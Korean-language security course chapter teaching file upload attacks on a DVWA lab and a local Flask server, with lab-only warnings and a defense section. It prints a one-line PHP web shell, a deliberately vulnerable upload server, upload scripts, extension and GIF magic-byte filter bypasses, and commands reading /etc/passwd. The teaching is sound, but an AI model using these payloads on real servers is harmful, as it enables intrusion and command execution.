Step 141. 파일 업로드 공격: 웹쉘 — 게시판에서 서버 장악까지

Step 141. 파일 업로드 공격: 웹쉘 — 게시판에서 서버 장악까지

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: Step 139~140의 쿠키·요청 지식, Step 103의 system() 경고, Step 94의 Flask 서버 지식을 사용합니다.

  • 준비물: DVWA(또는 워게임 랩), 파이썬 3 + Flask + requests (로컬 재현용), 텍스트 에디터
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

사진 게시판에 사진 대신 실행 파일을 올릴 수 있다면 어떻게 될까요? 서버는 그 파일을 디스크에 저장하고, 공격자가 그 주소에 접속하는 순간 서버 안에서 내 코드가 실행됩니다. 이 한 장의 파일이 웹쉘(web shell) — 웹으로 조종하는 서버 명령 실행기입니다. 오늘은 "업로드 → 접근 → 실행" 체인을 로컬 서버로 재현하고, 업로드 검증의 세 단계(확장자·Content-Type·파일 내용)를 하나씩 우회하는 실험을 합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 웹쉘이 무엇이고 "업로드 1개가 서버 장악"으로 이어지는 체인을 설명한다
  • 한 줄짜리 PHP 웹쉘의 각 부분을 읽고 해설한다
  • 확장자 필터를 이중 확장자·대소문자·유사 확장자로 우회하는 실험을 한다
  • 매직 바이트 위장(GIF 헤더)으로 내용 검사를 속이는 원리를 설명한다
  • 업로드 디렉토리 실행 금지가 왜 근본 방어인지 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 파이썬 3 + Flask + requests (로컬 재현), PHP는 "읽기"만, DVWA 랩
오늘의 명령 requests.post(주소, files=...) (파일 업로드), 웹쉘 접근 ?cmd=
필요한 개념 웹쉘, 확장자/Content-Type/매직 바이트 검증, 업로드 체인
오늘의 산출물 업로드 우회 실험 결과 표 + 공격 체인 정리 노트

2-1. 웹쉘 — 한 장의 파일이 여는 문

웹쉘은 웹 서버에 올라가서, HTTP 요청으로 받은 명령을 서버 운영체제에서 실행해 주는 스크립트입니다. 가장 작은 형태는 이 한 줄입니다.

<?php system($_GET["cmd"]); ?>

읽어 봅시다 (Step 103의 PHP 최소 문법입니다). $_GET["cmd"]는 주소의 ?cmd= 값, system()은 그것을 서버의 셸 명령으로 실행합니다. 이 파일이 서버의 /uploads/shell.php에 놓이면, http://서버/uploads/shell.php?cmd=id 접속 한 번이 서버 안의 id 실행입니다. 브라우저가 곧 터미널이 됩니다.

2-2. 공격 체인 — 세 고리

① 업로드: 실행 가능한 파일을 서버에 저장시킨다 (검증을 뚫고)
② 접근:   그 파일의 URL을 알아내 브라우저로 연다
③ 실행:   서버가 그 파일을 '실행'하면 — 웹쉘 완성

세 고리가 전부 성립해야 합니다. 뒤집어 말하면 방어는 고리 하나만 끊으면 됩니다 — 저장을 못 하게 하거나, 접근을 못 하게 하거나, 실행이 안 되게 하거나. 셋 중 마지막이 가장 튼튼합니다.

2-3. 업로드 검증의 세 단계와 각각의 우회

단계 검증하는 것 고전적 우회
① 확장자 파일명이 .php 등으로 끝나는가 shell.php.jpg(이중 확장자), shell.PhP(대소문자), shell.phtml
② Content-Type 요청 헤더의 파일 종류 Burp로 image/jpeg로 변조 — 헤더는 클라이언트가 쓰는 값
③ 파일 내용 매직 바이트(파일 앞의 형식 표지) GIF89a;를 코드 앞에 붙여 GIF인 척

공통점이 보이나요? 셋 모두 클라이언트가 보낸 값을 서버가 믿는 구조입니다. Step 103의 제1원리 — 클라이언트에 맡겨진 값은 클라이언트의 것입니다.

2-4. 근본 방어 — 업로드 디렉토리에서 실행을 끈다

아무리 검증해도 뚫릴 수 있다면, "뚫려도 무해하게" 만드는 것이 정답입니다. 웹 서버 설정에서 업로드 폴더는 스크립트 실행 금지로 지정합니다 — .php가 올라와도 그 폴더에서는 텍스트 파일로만 취급됩니다. 파일명을 서버가 새로 지어(랜덤값.jpg) 확장자 조종권도 뺏습니다. 오늘 실측에서 "파이썬 서버는 실행하지 않고 내려 준다"는 장면이 바로 이 상태입니다.


3. 따라 하기

DVWA 화면은 출력 예시로 표기하고, 원리는 로컬 Flask 서버로 실측합니다. (본 교재는 2026-09-09에 Windows + Flask 3.1.3 환경에서 실측했습니다.)

3-1. 무방비 업로드 서버 — 어떤 파일이든 받는 게시판

공격받을 쪽입니다 (vuln_upload.py).

입력

from flask import Flask, request, send_from_directory

app = Flask(__name__)

@app.route("/upload", methods=["POST"])
def upload():
    f = request.files["file"]
    f.save(f"/tmp/uploads/{f.filename}")   # 취약점: 어떤 파일이든 그대로 저장
    return f"업로드 완료: /uploads/{f.filename}"

@app.route("/uploads/<name>")
def serve(name):
    return send_from_directory("/tmp/uploads", name)

app.run(port=8330)

읽는 법: 파일명도, 확장자도, 내용도 안 봅니다. 심지어 업로드된 파일을 웹 주소로 그대로 다시 내주는 /uploads/ 경로까지 있습니다 — 공격자에게 필요한 ①저장과 ②접근을 서버가 스스로 제공합니다.

3-2. 웹쉘 업로드와 접근 — 체인의 두 고리

입력

import requests, io

SHELL = b'<?php system($_GET["cmd"]); ?>'

# ① 업로드
r = requests.post("http://127.0.0.1:8330/upload",
                  files={"file": ("shell.php", io.BytesIO(SHELL), "application/x-php")})
print(r.status_code, r.text)

# ② 접근 — 업로드된 파일을 열어 본다
r = requests.get("http://127.0.0.1:8330/uploads/shell.php")
print("상태:", r.status_code, "| Content-Type:", r.headers.get("Content-Type"))
print("응답 본문:", r.text)

출력 (2026-09-09 실측):

200 업로드 완료: /uploads/shell.php
상태: 200 | Content-Type: application/octet-stream
응답 본문: <?php system($_GET["cmd"]); ?>

읽는 법: 여기서 멈춰서 정확히 봐야 합니다. 파일은 올라갔고, 주소로 열리는데 — 실행되지 않고 내용이 통째로 내려왔습니다. 우리의 파이썬 서버는 .php를 프로그램이 아니라 그냥 파일(application/octet-stream)로 취급하니까요. 이것이 2-4의 방어 상태입니다. 이 서버가 Apache+PHP였다면, 같은 요청은 파일 내용 대신 system()의 실행 결과를 돌려줬을 것입니다. 체인의 ③번 고리는 "서버가 그 확장자를 실행하도록 설정됐는가"에 달려 있습니다.

왜 하는가: "업로드됐는데 왜 안 터지지?"는 실전에서 가장 많이 만나는 질문입니다. 답은 거의 항상 같습니다 — 저장과 접근은 성공했는데 실행이 안 되는 환경. DVWA가 학습에 좋은 이유는 이 세 고리가 의도적으로 열려 있기 때문입니다.

3-3. DVWA에서의 완성 — 세 번째 고리

DVWA File Upload (Low)에서는 세 고리가 열려 있습니다 (화면·결과는 출력 예시):

  1. 메모장에 <?php system($_GET["cmd"]); ?>shell.php로 저장합니다.
  2. 업로드 폼에 그대로 올리면 ../../hackable/uploads/shell.php succesfully uploaded! 같은 성공 메시지가 뜹니다 — 경로를 알려 줍니다. 이 메시지가 ②번 고리입니다.
  3. 주소창에 http://DVWA주소/hackable/uploads/shell.php?cmd=id를 칩니다.
  4. 페이지에 uid=33(www-data) gid=33(www-data) ...이 출력되면 웹쉘 완성입니다.

읽는 법: www-data는 웹 서버 프로세스의 계정입니다. 얻은 명령 실행 권한 = 웹 서버의 실행 계정 — Step 120의 법칙 그대로입니다. 이제 cmd=ls -la, cmd=cat /etc/passwd로 서버를 탐색할 수 있습니다.

3-4. 확장자 필터 우회 — 실측

이제 방어가 있는 서버를 띄웁니다. 파일명이 .php로 끝나면 거부하는 필터입니다 (DVWA Medium 수준).

입력

import requests, io

SHELL = b'<?php system($_GET["cmd"]); ?>'
tests = [
    ("shell.php",     "정석 .php"),
    ("shell.php.jpg", "이중 확장자"),
    ("shell.PhP",     "대소문자 변형"),
    ("shell.phtml",   "PHP 계열 다른 확장자"),
]
for name, desc in tests:
    r = requests.post("http://127.0.0.1:8331/upload",
                      files={"file": (name, io.BytesIO(SHELL), "image/jpeg")})
    verdict = "통과" if r.status_code == 200 else "차단"
    print(f"  {name:14} ({desc}) -> {r.status_code} [{verdict}] {r.text if r.status_code != 200 else ''}")

출력 (2026-09-09 실측):

  shell.php      (정석 .php) -> 403 [차단] 오류: PHP 파일은 업로드할 수 없습니다
  shell.php.jpg  (이중 확장자) -> 200 [통과]
  shell.PhP      (대소문자 변형) -> 200 [통과]
  shell.phtml    (PHP 계열 다른 확장자) -> 200 [통과]

읽는 법: 정석만 막히고 셋이 통과했습니다. 필터가 endswith(".php")로 소문자 끝글자만 비교했기 때문입니다. shell.php.jpg는 이중 확장자 — 일부 웹 서버 설정은 이런 파일을 PHP로 실행하는 함정이 있습니다. .phtml은 PHP가 실행하는 또 다른 확장자입니다. Step 139의 필터 우회와 완전히 같은 패턴입니다 — 막을 것을 열거하는 방어는 열거 밖에서 집니다. 참고로 Content-Type은 제가 요청에서 image/jpeg라고 적어 보냈습니다 — 서버가 그 헤더를 믿는다면 그것도 그냥 통과입니다.

3-5. 매직 바이트 위장 — 파일의 첫인상 속이기

파일 내용을 검사하는 단계까지 온 서버를 만나면, 파일 맨 앞의 형식 표지(매직 바이트)를 위장합니다.

입력

import requests, io

# GIF 파일의 매직 바이트 'GIF89a;' 뒤에 PHP 코드를 이어 붙인다
disguised = b"GIF89a;\n<?php system($_GET[\"cmd\"]); ?>"
r = requests.post("http://127.0.0.1:8330/upload",
                  files={"file": ("pic.php", io.BytesIO(disguised), "image/gif")})
print(r.status_code, r.text)

출력 (2026-09-09 실측):

200 업로드 완료: /uploads/pic.php

저장된 파일의 첫 7바이트를 읽어 보면 b'GIF89a;'입니다 (2026-09-09 실측). "앞부분이 GIF인지"만 보는 검사는 이 파일을 이미지로 분류합니다. 그런데 PHP로 실행되면 GIF89a;는 그냥 출력되는 문자열일 뿐이고, 그 뒤의 <?php ... ?>는 정상적으로 실행됩니다 — 한 파일이 검사관에게는 GIF, 실행기에게는 프로그램입니다.

주의: 이 기법들을 연습하는 곳은 내 랩뿐입니다. 실제 서비스의 업로드 폼에 웹쉘을 올리는 것은 그 자체로 침입 행위입니다.


4. 미션과 연습문제

미션 — 업로드 공격 체인과 우회 표

  1. 3-1~3-2의 로컬 실험을 재현하고, "파일이 실행되지 않고 다운로드되는" 출력을 write-up에 붙인다
  2. DVWA(또는 랩) File Upload Low에서 웹쉘 업로드 → ?cmd=id 실행까지 성공시킨다
  3. 3-4의 필터 우회 실험을 재현하고, 4개 파일명의 통과/차단을 "왜"와 함께 표로 정리한다
  4. Medium 난이도에서 통과한 우회 기법과 그래도 안 될 때의 다음 수단(Content-Type 변조)을 기록한다
  5. 공격 체인 ①②③을 끊는 방어를 고리별로 하나씩 적는다

연습문제

문제 1. <?php system($_GET["cmd"]); ?>의 각 부분($_GET["cmd"], system)이 하는 일을 설명해 보세요.

문제 2. 3-2 실측에서 업로드된 shell.php가 실행되지 않고 내용이 내려온 이유는 무엇이며, 이것이 방어 관점에서 무엇을 보여 주나요?

문제 3. Content-Type 검사가 근본적으로 약한 이유를 "클라이언트의 값" 원리로 설명해 보세요.

문제 4. GIF89a; 위장이 먹히려면 검사와 실행이 각각 파일을 어떻게 봐야 하나요?


5. 모범 답안과 완료 기준

미션 모범 답안

우회 표 예시 (2026-09-09 로컬 실측 기준):

파일명 결과 이유
shell.php 403 차단 필터가 .php 끝글자를 정확히 거부
shell.php.jpg 200 통과 끝글자가 .jpg라 필터 무사 통과
shell.PhP 200 통과 필터가 대소문자를 구분함
shell.phtml 200 통과 PHP 계열 확장자인데 목록에 없음

방어 표 예시:

고리 방어
① 저장 허용 확장자만 열거(화이트리스트) + 내용 검사 + 파일명을 서버가 재생성
② 접근 업로드 경로를 웹 루트 밖에 두거나, 직접 URL 접근 금지
③ 실행 업로드 디렉토리 스크립트 실행 금지 — 가장 튼튼한 고리 절단

검증하는 법: ① 로컬에서 "Content-Type: application/octet-stream"으로 내려오는 출력을 봤는가. ② 랩에서 cmd=id의 출력이 웹 서버 계정(www-data 류)인가. ③ 우회 표의 "이유" 칸이 실제 필터 동작과 일치하는가.

연습문제 해답

문제 1 해답. $_GET["cmd"]는 URL의 ?cmd=값에서 온 사용자 입력이고, system()은 그 문자열을 서버의 운영체제 명령으로 실행해 출력까지 돌려주는 함수입니다. 둘이 붙는 순간 "브라우저 주소창 = 서버 터미널"이 됩니다.

문제 2 해답. 우리의 Flask 서버는 .php를 프로그램으로 실행하지 않고 일반 파일로 내려 주기 때문입니다 (application/octet-stream). 방어 관점에서 이것은 "업로드 디렉토리에서 실행 금지"가 켜진 상태와 같습니다 — 공격 체인의 ③번 고리가 끊어져, 파일이 올라와도 웹쉘이 되지 못합니다.

문제 3 해답. Content-Type 헤더는 요청을 보내는 쪽 — 클라이언트 — 이 직접 쓰는 값이라, 공격자가 image/jpeg라고 적어내면 그만입니다 (3-4 실측에서 우리가 그렇게 했습니다). 서버가 믿을 수 있는 것은 자기가 직접 검사한 파일 내용뿐입니다.

문제 4 해답. 검사는 파일의 앞부분 몇 바이트만 보고 형식을 판정해야 하고, 실행기(PHP)는 <?php ?> 구간을 파일 어디에 있든 찾아 실행해야 합니다. 이 어긋남 — 검사는 앞만 보고 실행은 전체를 본다 — 이 위장의 공간입니다.

완료 기준 체크리스트

  • [ ] 한 줄짜리 PHP 웹쉘을 읽고 각 부분을 설명할 수 있다
  • [ ] 업로드 → 접근 → 실행의 세 고리를 말할 수 있다
  • [ ] 로컬 서버에서 "실행되지 않고 다운로드됨" 상태를 관찰했다
  • [ ] 확장자 우회 3종(이중 확장자·대소문자·유사 확장자)을 실험으로 확인했다
  • [ ] 매직 바이트 위장의 원리(검사는 앞만, 실행은 전체)를 설명할 수 있다
  • [ ] Content-Type이 클라이언트의 값임을 시연할 수 있다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 업로드는 됐는데 접속하면 404

증상: 성공 메시지를 봤는데 파일 주소가 없습니다.
원인: 실제 저장 경로를 모릅니다. 서버가 알려 주지 않으면 추정해야 합니다.
해결: 정상 이미지를 하나 올리고 그 이미지의 URL(이미지 우클릭 → 주소 복사)을 보세요. 웹쉘도 대개 같은 폴더입니다. DVWA라면 성공 메시지에 경로가 적혀 있습니다.

벽 2. 업로드된 파일이 실행되지 않고 다운로드된다

증상 (2026-09-09 실측): 접속하니 코드가 텍스트로 내려옵니다.

상태: 200 | Content-Type: application/octet-stream
응답 본문: <?php system($_GET["cmd"]); ?>

원인: 서버가 그 확장자를 그 디렉토리에서 실행하지 않습니다 — ③번 고리가 끊긴 상태입니다.
해결: 공격자라면 실행되는 확장자·경로를 찾아야 합니다(그게 랩의 과제). 방어자라면 — 이것이 정답 상태입니다. 업로드 폴더의 실행을 끄세요.

벽 3. .php.jpg로 올렸는데도 실행이 안 된다

증상: 이중 확장자가 통과했는데 이미지처럼 취급됩니다.
원인: 이중 확장자 우회는 "마지막이 아닌 확장자도 해석하는" 특정 서버 설정(구형 Apache의 MultiViews 등)에서만 동작합니다.
해결: 우회법은 서버 설정에 따라 달라집니다. 통과했더라도 실행 여부는 별개로 확인하세요 — "올라감"과 "실행됨"은 다른 문제입니다.

벽 4. 업로드 크기 제한에 걸린다

증상: 파일이 크다고 거부됩니다.
원인: 폼의 MAX_FILE_SIZE나 서버 설정.
해결: 웹쉘 한 줄은 수십 바이트입니다 — 원래 작은 파일이 정상입니다. 폼의 숨은 크기 제한은 개발자 도구로 지울 수 있습니다 (역시 클라이언트의 값).

벽 5. 실험하던 웹쉘 파일을 지우는 것을 잊었다

증상: 랩 서버의 uploads에 내 웹쉘이 남아 있습니다.
원인: 정리 누락.
해결: 실습 마지막에 업로드한 파일을 삭제하거나 DVWA를 리셋하세요. 웹쉘은 문을 열어 두는 물건입니다 — 열어 둔 채 자리를 뜨면 랩이라도 다음 사람(혹은 같은 네트워크의 누군가)이 그 문으로 들어옵니다.


7. 정리

오늘의 개념

개념 한 줄 설명
웹쉘 HTTP 요청의 파라미터를 서버 명령으로 실행해 주는 업로드된 스크립트
공격 체인 ① 저장 → ② 접근 → ③ 실행 — 하나라도 끊기면 실패
이중 확장자 shell.php.jpg — 필터의 끝글자 검사를 통과
매직 바이트 파일 앞의 형식 표지 — GIF89a; 위장의 표적
Content-Type 변조 헤더는 클라이언트가 쓰는 값 — 믿으면 안 됨
실행 금지 디렉토리 업로드 폴더에서 스크립트 실행을 끄는 근본 방어

오늘의 명령어와 코드

명령·코드 하는 일
<?php system($_GET["cmd"]); ?> 한 줄짜리 웹쉘
requests.post(주소, files={"file": (이름, 내용, 타입)}) 파이썬으로 파일 업로드
shell.php?cmd=id 웹쉘의 첫 시험 — 실행 계정 확인
GIF89a; + 코드 내용 검사 위장
f.save(경로 + f.filename) 검증 없는 업로드의 취약한 한 줄

명령어보다 중요한 감각

오늘의 핵심 문장은 "업로드는 서버에 내 파일을 심는 행위이고, 그 파일이 실행 가능하면 서버는 내 것이 된다"입니다. 파일 업로드 기능은 보이는 것과 달리 서버의 디스크와 실행 권한에 닿는 깊은 기능입니다. 그래서 실무 체크리스트의 첫 줄은 항상 같습니다 — 정말 이 기능이 필요한가, 필요하다면 실행 가능한 것이 올라올 수 있는가.

그리고 오늘 본 모든 우회는 결국 하나입니다 — 서버가 클라이언트의 말(파일명, 헤더, 첫 바이트)을 믿은 곳마다 구멍이 났습니다. 방어 설계의 기준도 그래서 하나로 모입니다: 믿지 말고, 허용할 것만 열거하고, 뚫려도 실행되지 않게 하라.


전부 체크되면 Step 141 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.